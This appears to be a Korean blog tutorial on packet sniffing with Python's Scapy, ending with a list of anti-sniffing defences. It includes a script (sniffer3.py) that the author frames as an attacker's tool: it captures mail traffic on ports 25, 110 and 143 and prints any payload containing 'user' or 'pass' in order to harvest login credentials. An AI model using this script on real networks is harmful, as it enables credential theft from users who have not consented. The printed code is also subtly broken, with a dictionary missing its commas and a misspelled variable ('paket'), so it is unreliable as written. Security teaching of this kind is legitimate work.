파이썬으로 구현된 Scapy라는 패키지를 이용하면 보다 쉽게 패킷을 스니핑 할 수 있다.


[ 설치 ]

sudo pip install scapy 혹은 https://github.com/phaethon/scapy


[ 스니퍼 구현 ]


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. def showPacket(packet):  
  5.     a = packet.show()  
  6.     print a  
  7.   
  8. def sniffing(filter):  
  9.     sniff(filter = filter, prn = showPacket, count = 1)  
  10.   
  11. if __name__ == '__main__':  
  12.     filter = 'ip'  
  13.     sniffing(filter)  


[ 코드 1 ] Scapy를 이용한 패킷 스니퍼 - sniffer1.py


[ 결과 ] 





sniff( )

Scapy가 제공하는 sniff( )는 네트워크 패킷을 스니핑 하는 함수이다. 주요 인자는 다음과 같다.


인자 

설명 

count 

패킷을 캡쳐하는 횟수 0이면 중지할때까지 캡쳐한다. 

store 

캡쳐한 패킷을 저장할 것인지 지정 모니터링만 원하면 0으로 지정한다.

prn 

캡쳐한 패킷을 처리하기 위한 함수 지정. 지정한 함수의 인자는 캡쳐한 패킷으로 정해진다. 

filter 

원하는 패킷만 볼 수 있는 필터를 지정한다. 

timeout

스니핑 수행 시간을 지정한다. 시간이 지나면 종료한다. 

iface 

네트워크 인터페이스를 지정한다. 


[ 설명 ]

sniff( )의 prn 인자로 입력될 함수를 showPacket으로 지정했다. sniff( )가 showPacket( )을 호출할 때 이 함수의 인자인 pakcet에 캡쳐한 패킷을 자동으로 넘겨준다. packet.show( )는 캡쳐한 패킷을 보기 쉽게 변환한다.


sniff( )가 캡쳐한 패킷을 MAC 주소 계층인 데이터링크 계층부터 TCP/UDP 계층까지 보여준다.

각 계층은 다음과 같이 접근할 수 있다.


구분

설명 

packet 

sniff( )가 캡쳐한 패킷. prn인자로 지정된 함수의 인자로 전달한다. 

packet[0][0] 

MAC Address 

packet[0][1] 

IP Address, packet[IP] 로도 접근 가능 

packet[0][2] 

TCP, UDP, ICMP 계층, 각각 packet[TCP], packet[UDP], packet[ICMP]로 접근 가능 



사용 예


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. protocols = {1:'ICMP'6:'TCP'17:'UDP'}  
  5.   
  6. def showPacket(packet):  
  7.     src_ip = packet[0][1].src  
  8.     dst_ip = packet[0][1].dst  
  9.     proto = packet[0][1].proto  
  10.   
  11.     if proto in protocols:  
  12.         print "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip)  
  13.   
  14.         if proto == 1:  
  15.             print "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2].code)  
  16.   
  17. def sniffing(filter):  
  18.     sniff(filter = filter, prn = showPacket, count = 0)  
  19.   
  20. if __name__ == '__main__':  
  21.     filter = 'ip'  
  22.     sniffing(filter)  


[ 코드 2 ] scapy를 이용한 패킷스니퍼 2 - sniffer2.py 



결과




메세지 내용 가로채기


예를들어 공격자가 메일 내용을 가로채서 분석하고자 하는 경우

메일 서버로부터 오가는 정보만 추출하여 분석하는 것이 효율적이다.

메일을 위한 프로토콜인 SMTP, POP3, IMAP은 각각 25번, 110번, 143번 포트를 사용한다.


따라서 공격자는 TCP포트중 25, 110, 143번 포트로 오고가는 정보를 스니핑 하면 된다.


만약 웹을 통해 오가는 정보만 추출하여 분석하고자 한다면 80포트로 오고가는 정보를 가로채면 된다.


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. def showPacket(packet):  
  5.     data = '%s' %(paket[TCP].payload)  
  6.     if 'user' in data.lower() or 'pass' in data.lower():  
  7.         print '+++[%s]: %s' %(packet[IP].dst, data)  
  8.   
  9. def sniffing(filter):  
  10.     sniff(filter = filter, prn = showPacket, count = 0, store = 0)  
  11.   
  12. if __name__ == '__main__':  
  13.     filter = 'tcp port 25 or tcp port 110 or tcp port 143'  
  14.     sniffing(filter)  


[ 코드 3 ] 메일 사용자 ID 및 패스워드 스니퍼 - sniffer3.py



코드 3은 메일 서버가 사용하는 포트인 25, 110, 143번을 통해 오고가는 TCP 정보만 가로챈다

TCP를 통해 전송되는 메세지에 'user' 나 'pass'라는 단어가 있으면 화면에 출력한다.


  1.     data = '%s' %(paket[TCP].payload)  
  2.     if 'user' in data.lower() or 'pass' in data.lower():  
  3.         print '+++[%s]: %s' %(packet[IP].dst, data)


packet[TCP].payload는 TCP 헤더를 제외한 실제 메세지를 추출한다.

이 메세지를 문자열로 변환하고 'user'나 'pass' 라는 단어가 있으면 서버 IP와 TCP메세지를 화면에 출력한다,


  1. if __name__ == '__main__':  
  2.     filter = 'tcp port 25 or tcp port 110 or tcp port 143'  
  3.     sniffing(filter)  


sniff( )에 프로토콜이 TCP 이고 포트가 25, 110, 143번인 것만 스니핑 하도록 인자로 전달한다.


위의 코드는 메일 서버가 운영되는 서버 또는 메일 서버의 서브네트워크에 연결된 호스트에서 활용가능하다. 메일서버로 송수신되는 정보가 암호화되어 있지 않을 경우 운이 좋다면 ID와 패스워드를 스니핑 할 수 있다.


[ 스니핑 방어 대책 ]


1. 패킷 스니퍼가 설치될 수 없도록 네트워크 미디어에 대한 물리적 접근 제한

2. 중요 정보에 대해 암호화 사용

3. ARP 스푸핑 방지를 위해 정적 IP와 ARP 테이블을 사용

4. ARP 캐시에 게이트웨이 영구 MAC 주소 설정

5. SSH나 SCP, SSL등과 같은 암호화 세션 사용

6. 브로드캐스트 기능 OFF


※ 코드의 부적절한 사용으로 인한 모든 책임은 사용자에 있습니다.

+ Recent posts